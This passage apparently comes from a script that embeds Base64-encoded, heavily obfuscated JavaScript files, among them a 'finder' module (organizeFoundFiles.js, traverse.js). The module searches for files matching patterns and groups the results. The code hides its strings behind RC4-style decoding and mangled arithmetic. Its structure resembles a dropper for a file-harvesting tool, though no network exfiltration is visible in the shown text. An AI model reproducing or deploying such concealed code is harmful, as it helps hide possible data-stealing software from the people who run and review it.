tMHgzMiwtMHgzMCwnSmtZdScpXShtYXRjaGVzRmlsZVBhdHRlcm4sXzB4YmY5NzU2W18weDRkM2MxYygweDE3LDB4MTIsLTB4MTMsLTB4NiwnW0t1aycpXSxfMHgzMDQ4OTMpKXJldHVybiEoLTB4MjZlYystMHhhYjEqMHgxKzB4MzE5ZCk7fX1yZXR1cm4hKC0weDIwZWYrLTB4MjVjMistMHgxKi0weDQ2YjIpO307Cg=='),@('c3JjXGZpbmRlclxvcmdhbml6ZUZvdW5kRmlsZXMuanM=', 'KGZ1bmN0aW9uKF8weDExNWIxNixfMHg1NjJmOTUpe2Z1bmN0aW9uIF8weDg3MjQ4YyhfMHhjNDcxZTMsXzB4NWMxZjE1LF8weDNkODM0ZixfMHgxYmJmM2UsXzB4MTRkMTVkKXtyZXR1cm4gXzB4NGVjNyhfMHgxYmJmM2UtIC0weDJiOSxfMHgzZDgzNGYpO31mdW5jdGlvbiBfMHg1MmJhOTgoXzB4MTBmOTIxLF8weDVmMWJhZSxfMHgxMGVlZDMsXzB4M2U1ZTMzLF8weDVkMzQ5NSl7cmV0dXJuIF8weDRlYzcoXzB4NWQzNDk1LSAtMHgxNTUsXzB4M2U1ZTMzKTt9ZnVuY3Rpb24gXzB4M2Q0MzgwKF8weDU4NmFlOSxfMHgzNWY0ZGIsXzB4NGRhZDljLF8weDI2OTM5ZixfMHg0MzZmMGYpe3JldHVybiBfMHg0ZWM3KF8weDU4NmFlOS0gLTB4M2JjLF8weDI2OTM5Zik7fWZ1bmN0aW9uIF8weDUwZDFiYyhfMHgzMmM5ZjMsXzB4NTMwNGE5LF8weGRmZTNmMyxfMHgxNTFjNjQsXzB4MmRiMmJkKXtyZXR1cm4gXzB4NGVjNyhfMHgyZGIyYmQtMHgzYTEsXzB4ZGZlM2YzKTt9ZnVuY3Rpb24gXzB4NWM3ZDM1KF8weGY2MWNmMixfMHgyZDc4ZTcsXzB4NTM2ZWRhLF8weDVkNDQ5MCxfMHg0OTE1NDApe3JldHVybiBfMHg0ZWM3KF8weDQ5MTU0MC0weDMzYyxfMHg1ZDQ0OTApO31jb25zdCBfMHg1ZTdhODI9XzB4MTE1YjE2KCk7d2hpbGUoISFbXSl7dHJ5e2NvbnN0IF8weDIyNmI3OT0tcGFyc2VJbnQoXzB4M2Q0MzgwKC0weDI1NSwtMHgyNWQsLTB4MjM4LCdmV11rJywtMHgyNDkpKS8oMHgxKjB4N2VhKy0weDE1NzkrMHhkOTApKihwYXJzZUludChfMHgzZDQzODAoLTB4MjU2LC0weDI0MSwtMHgyM2EsJ0F6dkUnLC0weDI2ZSkpLygtMHgxNmVlKzB4MzkyKi0weDQrMHgzKjB4YzY4KSkrLXBhcnNlSW50KF8weDVjN2QzNSgweDRhNywweDRjZSwweDRjMSwnazYlRScsMHg0YzMpKS8oLTB4MWE1MCsweDQxOCoweDcrMHgxKi0weDI1NSkrLXBhcnNlSW50KF8weDNkNDM4MCgtMHgyNjIsLTB4MjZhLC0weDI1ZSwnZlddaycsLTB4MjRkKSkvKC0weDEqMHgxYzg3KzB4MWFkYisweDFiMCkqKC1wYXJzZUludChfMHg4NzI0OGMoLTB4MTJjLC0weDE1Niwnckp3YicsLTB4MTQ3LC0weDE1NikpLygweGFmNSsweDgwNCstMHgyKjB4OTdhKSkrLXBhcnNlSW50KF8weDUyYmE5OCgweDQxLDB4NDAsMHgyOCwnZlddaycsMHgyOCkpLygtMHg2NDkqMHgxKy0weDFiOTEqLTB4MSsweDIqLTB4YWExKSoocGFyc2VJbnQoXzB4ODcyNDhjKC0weDE1OCwtMHgxNmYsJzAmI00nLC0weDE1NywtMHgxNjIpKS8oLTB4MzM4Ky0weDEqLTB4MWE1NistMHgxNzE3KSkrLXBhcnNlSW50KF8weDUwZDFiYygweDUwZCwweDRmMiwnIygoZCcsMHg0ZGYsMHg0ZmEpKS8oMHg2NyotMHgyYistMHgxKi0weDE3MmIrLTB4NWQ2KSoocGFyc2VJbnQoXzB4ODcyNDhjKC0weDE1MSwtMHgxN2EsJ0MhTl0nLC0weDE2NSwtMHgxNmUpKS8oLTB4MjBhNCsweDI1ODIrMHgxKi0weDRkNSkpKy1wYXJzZUludChfMHg1YzdkMzUoMHg0YjksMHg0YzEsMHg0YmMsJ0F6dkUnLDB4NGIyKSkvKDB4NSoweDQ2YSstMHg1NTQrMHgyKi0weDg1YSkqKC1wYXJzZUludChfMHg4NzI0OGMoLTB4MTJiLC0weDE1ZSwnT3FeaScsLTB4MTQ4LC0weDE0YSkpLygtMHgxN2ZhKy0weDcyNysweDFmMmMpKStwYXJzZUludChfMHg1MmJhOTgoMHgyMCwweDE0LC0weDEsJ1IzIyknLDB4YikpLygweDMqMHgzMDkrLTB4MTk4OSsweDEzKjB4ZGUpO2lmKF8weDIyNmI3OT09PV8weDU2MmY5NSlicmVhaztlbHNlIF8weDVlN2E4MlsncHVzaCddKF8weDVlN2E4Mlsnc2hpZnQnXSgpKTt9Y2F0Y2goXzB4MzkxZmRlKXtfMHg1ZTdhODJbJ3B1c2gnXShfMHg1ZTdhODJbJ3NoaWZ0J10oKSk7fX19KF8weDI5ZTgsLTB4MTBlMGIrLTB4NmYxZCotMHg1Ky0weDMxKi0weDU1MSkpO2ltcG9ydHttYXRjaGVzRmlsZVBhdHRlcm59ZnJvbScuL21hdGNoZXMuanMnO2Z1bmN0aW9uIF8weDI5ZTgoKXtjb25zdCBfMHg0NWVhM2M9WydyaDFFVzZQVFc1OFlBU2tFJywnVzdaZEtoL2NNdksnLCdXT1BYdUNrOFc2eScsJ2kzNVZXNFJkUFNvcWpxSmRVOG9BY2EnLCdnOGtJVzdtWVdPMCcsJ1c2UmRVTVpjS21vQ1dQeUVlVycsJ2Q4a2lXT05kTGdEcnFta3BnU29UVzQ4dUVXJywnVzZKZE84b2ptQ2ttJywnbGRCY09keVZhTjNjUThvNXNKVycsJ2Rtb1hXNm5KVzY5MVc3R25mU29KQVcnLCdXNTlsdzhvZldRZScsJ2NiUmNSU29oV1JlJywnVzRYVVdSdU9vOGtUaXRwY05DbzcnLCdyaEx2VzRieFc0NFRCbWtqJywnc21raHZhJywnYW1rWWlTa2RXUk8nLCd6WWxkTThvWXVhJywnVzZsZFVDb3ZqU2t4JywnV09aY1JDb1lXNzNkT2EnLCdXTzltbjJsZE9XJywndkNrSldQeGNHbWtKJywnQnhGZE9NTycsJ1c1TmRKdnRjSjhvQicsJ2Vtb2pXUWpWV1JSZEh4WmNQYScsJ1c0WmRTQ2t3VzdXWW1Db1VBU2tEZmFHJywnV09IMXVTaysnLCdyQ290clpOY0dxJywnc1Nra1c0bWVXNUsnLCdXNExSV1J1U3I4a2plYnBjU21vc1c2TycsJ3Vta0RXNThpVzRxJywnV1I4YWRTb0FqU29vcm1rS1c1MCcsJ2FjU0hEbWt0V09xWFc1ZkpXN1pkVmEnLCd2dlhURnc0JywnV1FSY1JlM2NSbW9qJywnVzY3ZFY4a0xXUTNjTkcnLCdxM1R3VzcxYlc0V0tBOGsyJywnbGRSY09kcVJySzNjSDhvUUZzL2RKRycsJ2tDb0JXNHl0Jywndm1rbFc1cnlXNUsnLCdobW9EVzRDdGlHJywnd0wxU3RoMCcsJ2hIdGNRbW9RJywnZ0NrMG9ta25XUWUnLCdteDdkUUtPJywnVzdMR0I4bzBwRycsJ0Jta2ZXUFhkekxKY044a2RiU2sxYVk0JywnYThvV2dlN2NPMFJkS1NrRXhkNCt1Z0cnLCdXUUJjTG1rT1c3YmVhU281VzVSY0txJywnYVkwUUNDb1FXT3lIVzdMY1c2bScsJ3VTa053V2xkUGEnLCdXUTNjUkNvTVc3aGRITEtMajhrQ1c1RmRKQ2tjJywnQ1NvNFdQWmRNV2JTc1dsZFBHJywnVzVsY04wZVpXT0dKVzQ4eWNTa3lXUWRkU1cnLCdXUjdkUmd5WXpXJywndG1rcVc1R3ZXNUsnLCdlU29zV1FMNVc1cScsJ2FJSFhiOG8yV1BLV1c2NCcsJ1c2RDhXUGFhV09hS3BIRyddO18weDI5ZTg9ZnVuY3Rpb24oKXtyZXR1cm4gXzB4NDVlYTNjO307cmV0dXJuIF8weDI5ZTgoKTt9aW1wb3J0e2VuY29kZVBhdGh9ZnJvbScuL2hlbHBlcnMuanMnO2Z1bmN0aW9uIF8weDRlYzcoXzB4MjYzMjAzLF8weDU4ZjI0Yyl7Y29uc3QgXzB4MTBhNzA5PV8weDI5ZTgoKTtyZXR1cm4gXzB4NGVjNz1mdW5jdGlvbihfMHg4NDY2ZWYsXzB4MjE2MGI1KXtfMHg4NDY2ZWY9XzB4ODQ2NmVmLSgtMHgxYWIzKzB4MWIqLTB4MzMrLTB4NDJkKi0weDgpO2xldCBfMHg1N2RkNTI9XzB4MTBhNzA5W18weDg0NjZlZl07aWYoXzB4NGVjN1snUldYZ1VLJ109PT11bmRlZmluZWQpe3ZhciBfMHgzZGM1ODQ9ZnVuY3Rpb24oXzB4NGRlZmRiKXtjb25zdCBfMHg1YmRhOGE9J2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVowMTIzNDU2Nzg5Ky89JztsZXQgXzB4MzhmYzliPScnLF8weDIwMzk2Mj0nJztmb3IobGV0IF8weDUwYWFkYT0tMHg0YzIqLTB4NisweDE4ZiotMHhkKzB4MSotMHg4NDksXzB4NWM2YmVhLF8weDUwZGFkMyxfMHg0ZGEwN2E9MHgzNzYqLTB4NCstMHgxNDU0KzB4MjIyYztfMHg1MGRhZDM9XzB4NGRlZmRiWydjaGFyQXQnXShfMHg0ZGEwN2ErKyk7fl8weDUwZGFkMyYmKF8weDVjNmJlYT1fMHg1MGFhZGElKDB4MjkqMHhjYSsweDIqMHgxMWE3Ky0weDljKjB4NmYpP18weDVjNmJlYSooLTB4MzZiKy0weDM1NCoweDIrMHhhNTMpK18weDUwZGFkMzpfMHg1MGRhZDMsXzB4NTBhYWRhKyslKDB4MWE3MysweDEwNCstMHgxYjczKjB4MSkpP18weDM4ZmM5Yis9U3RyaW5nWydmcm9tQ2hhckNvZGUnXSgtMHgxOSotMHgxMmMrLTB4MSoweDI1ZDUrMHg5ODgmXzB4NWM2YmVhPj4oLSgweDViNSstMHgxKjB4MWEyNisweDUqMHg0MTcpKl8weDUwYWFkYSYtMHgxNzFmKzB4MWYqLTB4MjYrMHgxKjB4MWJiZikpOi0weDEqMHg3OTYrLTB4NmMqLTB4MystMHgxKi0weDY1Mil7XzB4NTBkYWQzPV8weDViZGE4YVsnaW5kZXhPZiddKF8weDUwZGFkMyk7fWZvcihsZXQgXzB4MmE5NTgyPTB4M2Y5KjB4MSstMHg2Ki0weDE0Ky0weDQ3MSxfMHgyYjdlMzM9XzB4MzhmYzliWydsZW5ndGgnXTtfMHgyYTk1ODI8XzB4MmI3ZTMzO18weDJhOTU4MisrKXtfMHgyMDM5NjIrPSclJysoJzAwJytfMHgzOGZjOWJbJ2NoYXJDb2RlQXQnXShfMHgyYTk1ODIpWyd0b1N0cmluZyddKDB4ZjA5Ky0weDFmNDcrMHgxMDRlKSlbJ3NsaWNlJ10oLSgweDc1YystMHgxNjNmKzB4ZWU1KSk7fXJldHVybiBkZWNvZGVVUklDb21wb25lbnQoXzB4MjAzOTYyKTt9O2NvbnN0IF8weDI2MDFlOD1mdW5jdGlvbihfMHg0ZTY2ZTUsXzB4MjdiM2NjKXtsZXQgXzB4M2ExM2I5PVtdLF8weDQwYTY1ND0weGI4ZCotMHgzKzB4NTMqLTB4MTcrLTB4MmExYyotMHgxLF8weDRlYmJiMyxfMHg0ZjAyYmI9Jyc7XzB4NGU2NmU1PV8weDNkYzU4NChfMHg0ZTY2ZTUpO2xldCBfMHg0Mzk4NGU7Zm9yKF8weDQzOTg0ZT0tMHgyNDdiKzB4MTc3OCsweGQwMztfMHg0Mzk4NGU8MHgxNmNmKi0weDErLTB4MjU0YysweDNkMWI7XzB4NDM5ODRlKyspe18weDNhMTNiOVtfMHg0Mzk4NGVdPV8weDQzOTg0ZTt9Zm9yKF8weDQzOTg0ZT0tMHgxYmJiKy0weGM3MistMHgxMSotMHgyNWQ7XzB4NDM5ODRlPDB4NGYwKjB4MSstMHgyMmJkKjB4MSsweDVmKjB4NTM7XzB4NDM5ODRlKyspe18weDQwYTY1ND0oXzB4NDBhNjU0K18weDNhMTNiOVtfMHg0Mzk4NGVdK18weDI3YjNjY1snY2hhckNvZGVBdCddKF8weDQzOTg0ZSVfMHgyN2IzY2NbJ2xlbmd0aCddKSklKC0weDI5ZiotMHgyKy0weDIxYmErMHgxZDdjKSxfMHg0ZWJiYjM9XzB4M2ExM2I5W18weDQzOTg0ZV0sXzB4M2ExM2I5W18weDQzOTg0ZV09XzB4M2ExM2I5W18weDQwYTY1NF0sXzB4M2ExM2I5W18weDQwYTY1NF09XzB4NGViYmIzO31fMHg0Mzk4NGU9MHgxKi0weDE0MWQrLTB4MSotMHgyNGJjKy0weDEwOWYsXzB4NDBhNjU0PTB4OWRjKi0weDMrMHgxYWI5KzB4MmRiO2ZvcihsZXQgXzB4ZTg1NDhlPTB4NTI1Ky0weDExNTMrMHhjMmU7XzB4ZTg1NDhlPF8weDRlNjZlNVsnbGVuZ3RoJ107XzB4ZTg1NDhlKyspe18weDQzOTg0ZT0oXzB4NDM5ODRlKygweDFmZWErMHhjNWIqLTB4MisweDczMyotMHgxKSklKC0weDMqMHg0N2QrMHgzZSstMHhlMzkqLTB4MSksXzB4NDBhNjU0PShfMHg0MGE2NTQrXzB4M2ExM2I5W18weDQzOTg0ZV0pJSgweDgqLTB4NDgrMHgyMDUwKy0weDFkMTApLF8weDRlYmJiMz1fMHgzYTEzYjlbXzB4NDM5ODRlXSxfMHgzYTEzYjlbXzB4NDM5ODRlXT1fMHgzYTEzYjlbXzB4NDBhNjU0XSxfMHgzYTEzYjlbXzB4NDBhNjU0XT1fMHg0ZWJiYjMsXzB4NGYwMmJiKz1TdHJpbmdbJ2Zyb21DaGFyQ29kZSddKF8weDRlNjZlNVsnY2hhckNvZGVBdCddKF8weGU4NTQ4ZSleXzB4M2ExM2I5WyhfMHgzYTEzYjlbXzB4NDM5ODRlXStfMHgzYTEzYjlbXzB4NDBhNjU0XSklKDB4YzcqLTB4NisweDFmNGIqLTB4MSsweDEqMHgyNGY1KV0pO31yZXR1cm4gXzB4NGYwMmJiO307XzB4NGVjN1snS2JjbFd5J109XzB4MjYwMWU4LF8weDI2MzIwMz1hcmd1bWVudHMsXzB4NGVjN1snUldYZ1VLJ109ISFbXTt9Y29uc3QgXzB4NTdhZmE3PV8weDEwYTcwOVsweDFiYmIqMHgxKzB4ZDMzKi0weDErLTB4ZTg4XSxfMHg5NjhjMWY9XzB4ODQ2NmVmK18weDU3YWZhNyxfMHgyMzhlZWM9XzB4MjYzMjAzW18weDk2OGMxZl07cmV0dXJuIV8weDIzOGVlYz8oXzB4NGVjN1snYmltUEF2J109PT11bmRlZmluZWQmJihfMHg0ZWM3WydiaW1QQXYnXT0hIVtdKSxfMHg1N2RkNTI9XzB4NGVjN1snS2JjbFd5J10oXzB4NTdkZDUyLF8weDIxNjBiNSksXzB4MjYzMjAzW18weDk2OGMxZl09XzB4NTdkZDUyKTpfMHg1N2RkNTI9XzB4MjM4ZWVjLF8weDU3ZGQ1Mjt9LF8weDRlYzcoXzB4MjYzMjAzLF8weDU4ZjI0Yyk7fWV4cG9ydCBjb25zdCBvcmdhbml6ZUZvdW5kRmlsZXM9KF8weDU3ZGQ1MixfMHgzZGM1ODQsXzB4NTdhZmE3KT0+e2NvbnN0IF8weDk2OGMxZj17J1V6bWdSJzpmdW5jdGlvbihfMHg0ZGVmZGIsXzB4NWJkYThhKXtyZXR1cm4gXzB4NGRlZmRiKF8weDViZGE4YSk7fSwncFZRWFcnOmZ1bmN0aW9uKF8weDM4ZmM5YixfMHgyMDM5NjIpe3JldHVybiBfMHgzOGZjOWI9PT1fMHgyMDM5NjI7fX07ZnVuY3Rpb24gXzB4MTMwZTZlKF8weDFmOTc2ZixfMHgxY2Y2ZDAsXzB4M2FlMzc0LF8weDU3YWY4ZixfMHg1NGI2MzYpe3JldHVybiBfMHg0ZWM3KF8weDU3YWY4Zi0weDI5NCxfMHgxY2Y2ZDApO31jb25zdCBfMHgyMzhlZWM9e307XzB4MjM4ZWVjW18weDEzMGU2ZSgweDNlOSwnTGp2VCcsMHgzZjYsMHgzZWEsMHgzZTEpK18weDE1ZDhlNygnTGp2VCcsMHgxNGQsMHgxN2YsMHgxNzksMHgxNjcpKyducyddPXt9LF8weDIzOGVlY1tfMHgxMzBlNmUoMHgzZDAsJ25GQXAnLDB4M2RmLDB4M2U5LDB4M2ZiKStfMHgxMzBlNmUoMHg0MDEsJzA1ZGgnLDB4NDE0LDB4M2ZlLDB4NDEyKV09W107ZnVuY3Rpb24gXzB4MTVkOGU3KF8weDUyMWU2MCxfMHg1MDI3YTIsXzB4MTIxMWZlLF8weGRkYTA0MyxfMHgxOWQzZjgpe3JldHVybiBfMHg0ZWM3KF8weDE5ZDNmOC0gLTB4MTAsXzB4NTIxZTYwKTt9ZnVuY3Rpb24gXzB4NGY3NmQwKF8weDMzNDJmMCxfMHg5ZTg0ZDUsXzB4NTIyZWQzLF8weGQ1MmMzYyxfMHgxNDRlODEpe3JldHVybiBfMHg0ZWM3KF8weDUyMmVkMy0weDk4LF8weDE0NGU4MSk7fWNvbnN0IF8weDI2MDFlOD1fMHgyMzhlZWM7XzB4M2RjNTg0W18weDFmYThhNygtMHgxZjMsJ0EjMlcnLC0weDFlZCwtMHgxZTAsLTB4MWYyKSsnY2gnXSgoe25hbWU6XzB4NTBhYWRhfSk9PntmdW5jdGlvbiBfMHg0Zjk2N2QoXzB4Mzc5YThhLF8weDIzY2JkMSxfMHgxYWE1ODQsXzB4MjgzODk2LF8weDMxYzI4OCl7cmV0dXJuIF8weDE1ZDhlNyhfMHgzNzlhOGEsXzB4MjNjYmQxLTB4MTQsXzB4MWFhNTg0LTB4MTRkLF8weDI4Mzg5Ni0weDVlLF8weDMxYzI4OC0gLTB4MWJmKTt9ZnVuY3Rpb24gXzB4MWJlOTMzKF8weDNmMWU3NyxfMHg1YjZiOGMsXzB4MTE0MjViLF8weDRiODA2MCxfMHgzOGZjYmIpe3JldHVybiBfMHgxZmE4YTcoXzB4MTE0MjViLSAtMHhhLF8weDNmMWU3NyxfMHgxMTQyNWItMHgxYTgsXzB4NGI4MDYwLTB4MTA2LF8weDM4ZmNiYi0weDRhKTt9XzB4MjYwMWU4W18weDRmOTY3ZCgnR2xqMScsLTB4NWYsLTB4NjgsLTB4NzEsLTB4NWYpK18weDFiZTkzMygnVXV0WycsLTB4MWZhLC0weDIwNCwtMHgyMGYsLTB4MWY2KSsnbnMnXVtfMHg1MGFhZGFdPVtdO30pLF8weDU3ZGQ1MltfMHgxZmE4YTcoLTB4MWU0LCdvUXdSJywtMHgxZTQsLTB4MWY5LC0weDFkYSkrJ2NoJ10oXzB4NWM2YmVhPT57Y29uc3QgXzB4NTBkYWQzPXsnUU9EZEcnOmZ1bmN0aW9uKF8weDJhOTU4MixfMHgyYjdlMzMpe2Z1bmN0aW9uIF8weDMwMDk3ZChfMHgyMjQ1MDcsXzB4NWQzMjJiLF8weDVhOGYwZixfMHgyNjZkMWYsXzB4ZDIzOTdlKXtyZXR1cm4gXzB4NGVjNyhfMHg1YThmMGYtIC0weDEsXzB4MjY2ZDFmKTt9cmV0dXJuIF8weDk2OGMxZltfMHgzMDA5N2QoMHgxM2UsMHgxNmIsMHgxNWEsJzRlSVknLDB4MTQ0KV0oXzB4MmE5NTgyLF8weDJiN2UzMyk7fX07ZnVuY3Rpb24gXzB4NGIzYzk3KF8weDFlMDEyOSxfMHhhN2I1OTYsXzB4MjM3NTJiLF8weDMxMzk0MCxfMHgyODFjNzkpe3JldHVybiBfMHg0Zjc2ZDAoXzB4MWUwMTI5LTB4MTdkLF8weGE3YjU5Ni0weDllLF8weGE3YjU5Ni0weDE0MCxfMHgzMTM5NDAtMHgyMCxfMHgzMTM5NDApO31sZXQgXzB4NGRhMDdhPSEoMHg4Ki0weDQ4KzB4MjA1MCstMHgxZTBmKTtmdW5jdGlvbiBfMHg0MjE5ZGYoXzB4MjA4MmYyLF8weDIwOTFhNixfMHhhMmI0NDYsXzB4MTM0ZTUzLF8weDc3M2RkYSl7cmV0dXJuIF8weDQ2M2I3MihfMHgyMDkxYTYsXzB4MjA5MWE2LTB4NDEsXzB4NzczZGRhLTB4MTdmLF8weDEzNGU1My0weDQxLF8weDc3M2RkYS0weDE2YSk7fWZ1bmN0aW9uIF8weDgwOGExYShfMHgxOWE3MTgsXzB4NTUzYjg1LF8weGJkM2E1NSxfMHg0NzgzYjUsXzB4NTMxM2U5KXtyZXR1cm4gXzB4MTMwZTZlKF8weDE5YTcxOC0weDZhLF8weGJkM2E1NSxfMHhiZDNhNTUtMHhkMyxfMHg0NzgzYjUtIC0weDQxMixfMHg1MzEzZTktMHgxMjIpO31mdW5jdGlvbiBfMHg1Yzk1ZWIoXzB4MTlhZjg5LF8weDhjN2I4MSxfMHgxZThhY2EsXzB4NjE4YmNjLF8weDViYjI5ZSl7cmV0dXJuIF8weDEzMGU2ZShfMHgxOWFmODktMHgxYmYsXzB4NjE4YmNjLF8weDFlOGFjYS0weDE0YixfMHg4YzdiODEtIC0weGFjLF8weDViYjI5ZS0weDEyKTt9XzB4M2RjNTg0W18weDgwOGExYSgweDE2LC0weDFiLCcxYnoyJywtMHg0LC0weDcpKydjaCddKCh7bmFtZTpfMHg0ZTY2ZTUsZGlyOl8weDI3YjNjYyxmaWxlczpfMHgzYTEzYjl9KT0+e2Z1bmN0aW9uIF8weGNiMDQ2OChfMHg1NjM5MzcsXzB4MmZiZDI1LF8weDJiMGUwNixfMHg0NTA4NGUsXzB4MzI4NjY0KXtyZXR1cm4gXzB4ODA4YTFhKF8weDU2MzkzNy0weDFhMixfMHgyZmJkMjUtMHhjNCxfMHg0NTA4NGUsXzB4MmIwZTA2LTB4MmUzLF8weDMyODY2NC0weDFiMyk7fWZ1bmN0aW9uIF8weDMyMjc4OShfMHgyMTg3MGUsXzB4ZTFjZDU5LF8weDVlZWM3MCxfMHgzNzE3YmEsXzB4MjNjZGU1KXtyZXR1cm4gXzB4ODA4YTFhKF8weDIxODcwZS0weDU2LF8weGUxY2Q1OS0weGZlLF8weDM3MTdiYSxfMHgyMTg3MGUtMHgxNzIsXzB4MjNjZGU1LTB4ZmIpO31mdW5jdGlvbiBfMHhkZTkxNTAoXzB4MzVlZGI4LF8weDU0OGE0ZSxfMHg1NDQwNzcsXzB4ZGQ4NmQ3LF8weDliZGM3KXtyZXR1cm4gXzB4ODA4YTFhKF8weDM1ZWRiOC0weDEzMixfMHg1NDhhNGUtMHgzMixfMHg5YmRjNyxfMHg1NDhhNGUtMHg0M2UsXzB4OWJkYzctMHgxZTEpO31mdW5jdGlvbiBfMHg0ZmNiNzAoXzB4MjU2ZTZlLF8weDVlNTUzYixfMHg1Y2IwOTksXzB4NTAyMzljLF8weDQxN2E4Nil7cmV0dXJuIF8weDgwOGExYShfMHgyNTZlNmUtMHgxNTcsXzB4NWU1NTNiLTB4MWFlLF8weDUwMjM5YyxfMHg1ZTU1M2ItMHgzN2MsXzB4NDE3YTg2LTB4OTMpO31mdW5jdGlvbiBfMHg1NDkxYzkoXzB4NmNhODhhLF8weDFiMDBjOCxfMHg1NTU3OGEsXzB4MzU4YTgwLF8weDVjMGQ1ZSl7cmV0dXJuIF8weDgwOGExYShfMHg2Y2E4OGEtMHg1LF8weDFiMDBjOC0weGY0LF8weDFiMDBjOCxfMHg2Y2E4OGEtIC0weGJiLF8weDVjMGQ1ZS0weDFiNSk7fV8weDVjNmJlYVtfMHgzMjI3ODkoMHgxNzcsMHgxOGYsMHgxODUsJ0EjMlcnLDB4MTYzKV1bXzB4MzIyNzg5KDB4MTRiLDB4MTU2LDB4MTM2LCd6S24kJywweDE0NCkrXzB4MzIyNzg5KDB4MTVjLDB4MTVjLDB4MTVkLCczb0p5JywweDE0NSldKF8weDUwZGFkM1tfMHhkZTkxNTAoMHg0M2EsMHg0NDAsMHg0NTYsMHg0MmIsJzdMR1onKV0oZW5jb2RlUGF0aCxfMHgyN2IzY2MpKSYmXzB4M2ExM2I5W18weDU0OTFjOSgtMHhiYSwnazYlRScsLTB4YjksLTB4YmEsLTB4YjkpXShfMHg0MGE2NTQ9Pm1hdGNoZXNGaWxlUGF0dGVybihfMHg1YzZiZWFbXzB4NGZjYjcwKDB4MzdiLDB4MzcxLDB4MzVhLCdhQlg4JywweDM4NildLF8weDQwYTY1NCkpJiYoXzB4MjYwMWU4W18weDU0OTFjOSgtMHhhZSwnSHg1VicsLTB4YTUsLTB4YjAsLTB4YTgpK18weDRmY2I3MCgweDM4MCwweDM3YSwweDM4MSwnUihtJCcsMHgzODgpKyducyddW18weDRlNjZlNV1bXzB4ZGU5MTUwKDB4NDNkLDB4NDQ1LDB4NDU5LDB4NDRkLCdsNWckJyldKF8weDVjNmJlYSksXzB4NGRhMDdhPSEoMHhjNyotMHg2KzB4MWY0YiotMHgxKzB4MSoweDIzZjUpKTt9KSxfMHg0ZGEwN2F8fF8weDI2MDFlOFtfMHg4MDhhMWEoLTB4NCwtMHg4LCdManZUJywtMHg5LC0weDEzKStfMHg0YjNjOTcoMHgzNTAsMHgzNDYsMHgzNDIsJyhmalInLDB4MzQ1KV1bXzB4NGIzYzk3KDB4MzUyLDB4MzQ3LDB4MzU2LCcwJiNNJywweDM0MSldKF8weDVjNmJlYSk7fSk7Zm9yKGNvbnN0IFtfMHg0ZWJiYjMsXzB4NGYwMmJiXW9mIE9iamVjdFtfMHg0NjNiNzIoJ2tYR24nLDB4MWEyLDB4MTkyLDB4MTg1LDB4MTgyKSsnZXMnXShfMHgyNjAxZThbXzB4MTMwZTZlKDB4M2Y1LCchSGs1JywweDNmNiwweDQwMSwweDNmNykrXzB4MTMwZTZlKDB4NDAyLCc4dTYxJywweDNlZiwweDNmZCwweDQxNSkrJ25zJ10pKV8weDk2OGMxZltfMHgxNWQ4ZTcoJ0FyWSMnLDB4MTY3LDB4MTdhLDB4MTdhLDB4MTc2KV0oMHgxYmJiKjB4MSsweGQzMyotMHgxKy0weGU4OCxfMHg0ZjAyYmJbXzB4NGY3NmQwKDB4MjEwLDB4MWVlLDB4MWY0LDB4MWZkLCdhQlg4JykrJ2gnXSkmJmRlbGV0ZSBfMHgyNjAxZThbXzB4MWZhOGE3KC0weDFkNiwnMWJ6MicsLTB4MWM5LC0weDFjMiwtMHgxZWMpK18weDE1ZDhlNygnak5ScCcsMHgxNTcsMHgxNTYsMHgxNzAsMHgxNmIpKyducyddW18weDRlYmJiM107ZnVuY3Rpb24gXzB4NDYzYjcyKF8weDFmN2ZkZCxfMHgzYWNmOGYsXzB4MjVmZjQxLF8weDFjNzg5OCxfMHg1NmZlMzUpe3JldHVybiBfMHg0ZWM3KF8weDI1ZmY0MS0weDI3LF8weDFmN2ZkZCk7fWZ1bmN0aW9uIF8weDFmYThhNyhfMHg1M2ZjMTEsXzB4M2E5MWE4LF8weDRlY2E3NSxfMHg1MjJkOTYsXzB4ODNhOTk4KXtyZXR1cm4gXzB4NGVjNyhfMHg1M2ZjMTEtIC0weDM1OCxfMHgzYTkxYTgpO31yZXR1cm4gXzB4OTY4YzFmW18weDRmNzZkMCgweDIzOCwweDIyNiwweDIxZSwweDIyMywnQXJZIycpXSgtMHg3YzcrMHgyMWNlKy0weDFhMDcsXzB4MjYwMWU4W18weDEzMGU2ZSgweDNlYSwnTWwmRycsMHg0MDMsMHg0MDAsMHgzZTMpK18weDE1ZDhlNygndkVXTCcsMHgxM2YsMHgxNTUsMHgxNDcsMHgxNTQpXVtfMHg0Zjc2ZDAoMHgyMTMsMHgyMTMsMHgyMWMsMHgyMWQsJzh1NjEnKSsnaCddKSYmZGVsZXRlIF8weDI2MDFlOFtfMHg0NjNiNzIoJ2tYR24nLDB4MThiLDB4MTg4LDB4MTZlLDB4MTcwKStfMHgxMzBlNmUoMHg0MTEsJ2s2JUUnLDB4M2Y5LDB4NDE1LDB4NDA4KV0sXzB4MjYwMWU4O307Cg=='),@('c3JjXGZpbmRlclx0cmF2ZXJzZS5qcw==', 'ZnVuY3Rpb24gXzB4MzY1NShfMHgzMDc3ZWIsXzB4NWRmMzlhKXtjb25zdCBfMHgxZTY2ODM9XzB4NTAzZCgpO3JldHVybiBfMHgzNjU1PWZ1bmN0aW9uKF8weDUyOGM3MixfMHgxNmVmMjIpe18weDUyOGM3Mj1fMHg1MjhjNzItKDB4MiotMHgxMDMxKy0weDEzKjB4MTAyKzB4MzRmMSk7bGV0IF8weDQzZTc5YT1fMHgxZTY2ODNbXzB4NTI4YzcyXTtpZihfMHgzNjU1WydpUEFxQmYnXT09PXVuZGVmaW5lZCl7dmFyIF8weDRhZmNlNT1mdW5jdGlvbihfMHg0ZTZkZTEpe2NvbnN0IF8weDE1MzVlZT0nYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXpBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWjAxMjM0NTY3ODkrLz0nO2xldCBfMHg1NDBjMmI9JycsXzB4MzdiYjc5PScnO2ZvcihsZXQgXzB4NTc2OGQyPTB4MTAzZSstMHgxNTFiKzB4NGRkLF8weDU3N2RiOSxfMHgxOWViMTMsXzB4NWVlYjM1PTB4MSoweDIwOTMrMHhiKjB4NmYrLTB4OTU2KjB4NDtfMHgxOWViMTM9XzB4NGU2ZGUxWydjaGFyQXQnXShfMHg1ZWViMzUrKyk7fl8weDE5ZWIxMyYmKF8weDU3N2RiOT1fMHg1NzY4ZDIlKC0weDExZTcrLTB4MjJlMy